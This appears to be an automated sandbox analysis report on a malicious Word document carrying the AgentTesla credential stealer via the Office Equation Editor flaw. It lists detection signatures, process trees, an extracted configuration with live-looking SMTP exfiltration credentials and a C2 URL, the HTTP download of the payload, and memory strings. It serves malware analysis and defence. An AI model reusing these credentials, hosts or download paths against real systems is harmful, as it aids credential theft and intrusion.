Play interactive tour

Edit tour

Analysis Report Request- NAVALTECH.doc

Overview

General Information

Sample Name:	Request- NAVALTECH.doc
Analysis ID:	348479
MD5:	7e478136a1f65e898b0acceb991c9125
SHA1:	f6896aca338d9c1c3be63101e251cb01f8e428d6
SHA256:	a51aad6097aa1f5f75d727fc668da3c0cba5ee7ef59f1929ad5bfc80e51aeec1
Tags:	doc
Most interesting Screenshot:

Detection

AgentTesla

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Sigma detected: Droppers Exploiting CVE-2017-11882

Sigma detected: EQNEDT32.EXE connecting to internet

Sigma detected: File Dropped By EQNEDT32EXE

Sigma detected: Scheduled temp file as task from temp location

Yara detected AgentTesla

Yara detected AntiVM_3

.NET source code contains potential unpacker

.NET source code contains very large array initializations

C2 URLs / IPs found in malware configuration

Contains functionality to register a low level keyboard hook

Injects a PE file into a foreign processes

Installs a global keyboard hook

Machine Learning detection for dropped file

Office equation editor drops PE file

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Mail credentials (via file access)

Uses schtasks.exe or at.exe to add and modify task schedules

Adds / modifies Windows certificates

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SGDT)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Office Equation Editor has been started

PE file contains strange resources

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Potential document exploit detected (unknown TCP traffic)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Uses SMTP (mail sending)

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Startup

System is w7x64

WINWORD.EXE (PID: 1684 cmdline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding MD5: 95C38D04597050285A18F66039EDB456)

EQNEDT32.EXE (PID: 2500 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

believeoaid.exe (PID: 2748 cmdline: C:\Users\user\AppData\Roaming\believeoaid.exe MD5: 17FF2AD2A2B117AAE7C52B34141CAEF1)

schtasks.exe (PID: 2796 cmdline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp' MD5: 2003E9B15E1C502B146DAD2E383AC1E3)

believeoaid.exe (PID: 2460 cmdline: C:\Users\user\AppData\Roaming\believeoaid.exe MD5: 17FF2AD2A2B117AAE7C52B34141CAEF1)

EQNEDT32.EXE (PID: 2948 cmdline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding MD5: A87236E214F6D42A65F5DEDAC816AEC8)

cleanup

Malware Configuration

Threatname: Agenttesla

{"Username: ": "DMtobuK", "URL: ": "http://9myEIOSGYPbvohaC7.com", "To: ": "noor.akbari@petrolnas.icu", "ByHost: ": "mail.privateemail.com:587", "Password: ": "XjzaPNY2PCS", "From: ": "noor.akbari@petrolnas.icu"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000007.00000002.2396885808.0000000000402000.00000040.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000007.00000002.2398457907.0000000002A87000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000007.00000002.2398523080.0000000002AAE000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2141098426.00000000033F9000.00000004.00000001.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
00000004.00000002.2139676967.0000000002410000.00000004.00000001.sdmp	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: believeoaid.exe PID: 2748	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: believeoaid.exe PID: 2748	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: believeoaid.exe PID: 2460	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: believeoaid.exe PID: 2460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 9 entries

Unpacked PEs

Source	Rule	Description	Author
4.2.believeoaid.exe.2400688.2.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
4.2.believeoaid.exe.35e1160.6.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
7.2.believeoaid.exe.400000.0.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.believeoaid.exe.36e7410.5.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.believeoaid.exe.36e7410.5.raw.unpack	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
4.2.believeoaid.exe.24c0930.3.raw.unpack	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 1 entries

Sigma Overview

System Summary:

Sigma detected: Droppers Exploiting CVE-2017-11882

Show sources

Source: Process started

Author: Florian Roth: Data: Command: C:\Users\user\AppData\Roaming\believeoaid.exe, CommandLine: C:\Users\user\AppData\Roaming\believeoaid.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\believeoaid.exe, NewProcessName: C:\Users\user\AppData\Roaming\believeoaid.exe, OriginalFileName: C:\Users\user\AppData\Roaming\believeoaid.exe, ParentCommandLine: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding, ParentImage: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ParentProcessId: 2500, ProcessCommandLine: C:\Users\user\AppData\Roaming\believeoaid.exe, ProcessId: 2748

Sigma detected: EQNEDT32.EXE connecting to internet

Show sources

Source: Network Connection

Author: Joe Security: Data: DestinationIp: 43.252.37.193, DestinationIsIpv6: false, DestinationPort: 80, EventID: 3, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, Initiated: true, ProcessId: 2500, Protocol: tcp, SourceIp: 192.168.2.22, SourceIsIpv6: false, SourcePort: 49165

Sigma detected: File Dropped By EQNEDT32EXE

Show sources

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE, ProcessId: 2500, TargetFilename: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe

Sigma detected: Scheduled temp file as task from temp location

Show sources

Source: Process started

Author: Joe Security: Data: Command: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp', CommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp', CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\believeoaid.exe, ParentImage: C:\Users\user\AppData\Roaming\believeoaid.exe, ParentProcessId: 2748, ProcessCommandLine: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\fjctND' /XML 'C:\Users\user\AppData\Local\Temp\tmpFCA8.tmp', ProcessId: 2796

Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Found malware configuration

Show sources

Source: believeoaid.exe.2460.7.memstr

Malware Configuration Extractor: Agenttesla {"Username: ": "DMtobuK", "URL: ": "http://9myEIOSGYPbvohaC7.com", "To: ": "noor.akbari@petrolnas.icu", "ByHost: ": "mail.privateemail.com:587", "Password: ": "XjzaPNY2PCS", "From: ": "noor.akbari@petrolnas.icu"}

Multi AV Scanner detection for domain / URL

Show sources

Source: globalteamacademy.com

Virustotal: Detection: 7%

Perma Link

Machine Learning detection for dropped file

Show sources

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\KlalU0GjxacVNEE[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\fjctND.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Joe Sandbox ML: detected

Exploits:

Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802)

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Process created: C:\Users\user\AppData\Roaming\believeoaid.exe

Jump to behavior

Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Compliance:

Uses new MSVCR Dlls

Show sources

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Software Vulnerabilities:

Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	4_2_001FD19F
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	4_2_001FD1B0
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	4_2_001FD1AE
Source: C:\Users\user\AppData\Roaming\believeoaid.exe	Code function: 4x nop then mov dword ptr [ebp-18h], 00000000h	4_2_001FD1A7

Source: global traffic

DNS query: name: globalteamacademy.com

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 43.252.37.193:80

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 43.252.37.193:80

Networking:

C2 URLs / IPs found in malware configuration

Show sources

Source: Malware configuration extractor

URLs: http://9myEIOSGYPbvohaC7.com

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 198.54.122.60:587

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 04 Feb 2021 08:55:38 GMTServer: ApacheLast-Modified: Wed, 03 Feb 2021 23:39:10 GMTAccept-Ranges: bytesContent-Length: 1074688Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 1a 33 1b 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 50 00 00 4a 0c 00 00 1a 04 00 00 00 00 00 9e 68 0c 00 00 20 00 00 00 80 0c 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 c0 10 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 68 0c 00 4f 00 00 00 00 80 0c 00 18 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 10 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 48 0c 00 00 20 00 00 00 4a 0c 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 18 16 04 00 00 80 0c 00 00 18 04 00 00 4c 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 10 00 00 02 00 00 00 64 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 68 0c 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 87 01 00 e4 69 01 00 03 00 00 00 01 00 00 06 d4 f1 02 00 78 76 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 30 02 00 1f 00 00 00 00 00 00 00 00 00 28 2c 00 00 0a 28 2d 00 00 0a 00 de 02 00 dc 00 28 07 00 00 06 02 6f 2e 00 00 0a 00 2a 00 01 10 00 00 02 00 01 00 0e 0f 00 02 00 00 00 00 aa 00 02 16 28 2f 00 00 0a 00 02 16 28 30 00 00 0a 00 02 17 28 31 00 00 0a 00 02 17 28 32 00 00 0a 00 02 16 28 33 00 00 0a 00 2a 4e 00 02 28 09 00 00 06 6f 10 03 00 06 28 34 00 00 0a 00 2a 26 00 02 28 35 00 00 0a 00 2a ce 73 36 00 00 0a 80 01 00 00 04 73 37 00 00 0a 80 02 00 00 04 73 38 00 00 0a 80 03 00 00 04 73 39 00 00 0a 80 04 00 00 04 73 3a 00 00 0a 80 05 00 00 04 2a 00 00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 3b 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 02 00 00 11 00 7e 02 00 00 04 6f 3c 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 3d 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3e 00 00 0a 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6

Source: Joe Sandbox View	IP Address: 43.252.37.193 43.252.37.193
Source: Joe Sandbox View	IP Address: 198.54.122.60 198.54.122.60

Source: Joe Sandbox View

ASN Name: NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud NETONBOARD-MYNetOnboardSdnBhd-QualityReliableCloud

Source: global traffic

TCP traffic: 192.168.2.22:49166 -> 198.54.122.60:587

Source: global traffic

HTTP traffic detected: GET /docct/zic/KlalU0GjxacVNEE.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: globalteamacademy.comConnection: Keep-Alive

Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{E1AE526A-72A2-4470-89E8-B7D87A58E0E0}.tmp

Jump to behavior

Source: global traffic

Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: globalteamacademy.com

Source: believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: believeoaid.exe, 00000007.00000002.2397578725.0000000002737000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000002.2398457907.0000000002A87000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000002.2398523080.0000000002AAE000.00000004.00000001.sdmp	String found in binary or memory: http://9myEIOSGYPbvohaC7.com
Source: believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	String found in binary or memory: http://DynDns.comDynDNS
Source: believeoaid.exe, 00000007.00000002.2397455159.0000000002621000.00000004.00000001.sdmp	String found in binary or memory: http://GbgHTj.com
Source: believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/DPCacraiz.pdf0=
Source: believeoaid.exe, 00000007.00000003.2223229437.0000000006630000.00000004.00000001.sdmp	String found in binary or memory: http://acraiz.icpbrasil.gov.br/LCRacraiz.crl0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://ca.disig.sk/ca/crl/ca_disig.crl0
Source: believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	String found in binary or memory: http://ca.sia.it/seccli/repository/CRL.der0J
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://certificates.starfieldtech.com/repository/1604
Source: believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersignroot.html0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/chambersroot.html0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://cps.chambersign.org/cps/publicnotaryroot.html0
Source: believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersignroot.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/chambersroot.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.chambersign.org/publicnotaryroot.crl0
Source: believeoaid.exe, 00000007.00000002.2401312712.000000000657D000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl04
Source: believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/TrustedCertificateServices.crl0:
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.oces.certifikat.dk/oces.crl0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pki.wellsfargo.com/wsprca.crl0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-a/cacrl.crl0
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://crl.ssc.lt/root-b/cacrl.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl0
Source: believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	String found in binary or memory: http://crt.sectigo.com/SectigoRSADomainValidationSecureServerCA.crt0#
Source: believeoaid.exe, 00000007.00000002.2397110846.0000000000806000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: believeoaid.exe, 00000007.00000003.2223323351.00000000065F6000.00000004.00000001.sdmp, 77EC63BDA74BD0D0E0426DC8F8008506.7.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: believeoaid.exe, 00000007.00000002.2397048999.000000000078D000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?890e4ed23fd04
Source: believeoaid.exe, 00000007.00000002.2397087559.00000000007E0000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cabZ
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.crt0
Source: believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/cacert/ComSignAdvancedSecurityCA.k
Source: believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignAdvancedSecurityCA.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://fedir.comsign.co.il/crl/ComSignCA.crl0
Source: believeoaid.exe, 00000007.00000002.2398242477.00000000029EB000.00000004.00000001.sdmp	String found in binary or memory: http://mail.privateemail.com
Source: believeoaid.exe, 00000007.00000002.2401312712.000000000657D000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: believeoaid.exe, 00000007.00000002.2401286564.0000000006540000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.infonotary.com/responder.cgi0V
Source: believeoaid.exe, 00000007.00000003.2223302348.0000000006616000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.pki.gva.es0
Source: believeoaid.exe, 00000007.00000002.2397569912.0000000002724000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://pki-root.ecertpki.cl/CertEnroll/E-CERT%20ROOT%20CA.crl0
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://repository.infonotary.com/cps/qcps.html0$
Source: believeoaid.exe, 00000007.00000002.2403091878.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://repository.s
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: believeoaid.exe, 00000004.00000002.2145221726.0000000005410000.00000002.00000001.sdmp, believeoaid.exe, 00000007.00000002.2400919514.0000000005E70000.00000002.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: believeoaid.exe, 00000004.00000002.2139656039.00000000023F1000.00000004.00000001.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: believeoaid.exe, 00000007.00000002.2402667711.0000000007C10000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: believeoaid.exe, believeoaid.exe, 00000007.00000002.2397209601.0000000000DD2000.00000020.00020000.sdmp, KlalU0GjxacVNEE[1].exe.2.dr	String found in binary or memory: http://tempuri.org/databaseSystemDataSet.xsd
Source: believeoaid.exe, 00000004.00000002.2145221726.0000000005410000.00000002.00000001.sdmp, believeoaid.exe, 00000007.00000002.2400919514.0000000005E70000.00000002.00000001.sdmp	String found in binary or memory: http://www.%s.comPA
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.ancert.com/cps0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/certicamaraca.crl0;
Source: believeoaid.exe, 00000007.00000003.2223143480.000000000816F000.00000004.00000001.sdmp	String found in binary or memory: http://www.certicamara.com/dpc/0Z
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAI.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.certificadodigital.com.br/repositorio/serasaca/crl/SerasaCAIII.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp	String found in binary or memory: http://www.certifikat.dk/repository0
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class1.crl0
Source: believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3.crl0
Source: believeoaid.exe, 00000007.00000003.2223160227.00000000065D9000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: believeoaid.exe, 00000007.00000003.2223106995.0000000008129000.00000004.00000001.sdmp	String found in binary or memory: http://www.certplus.com/CRL/class3TS.crl0
Source: believeoaid.exe, 00000007.00000003.2223199300.0000000008156000.00000004.00000001.sdmp, believeoaid.exe, 00000007.00000003.2223151321.0000000006625000.00000004.00000001.sdmp	String found in binary or memory: http://www.chambersign.org1
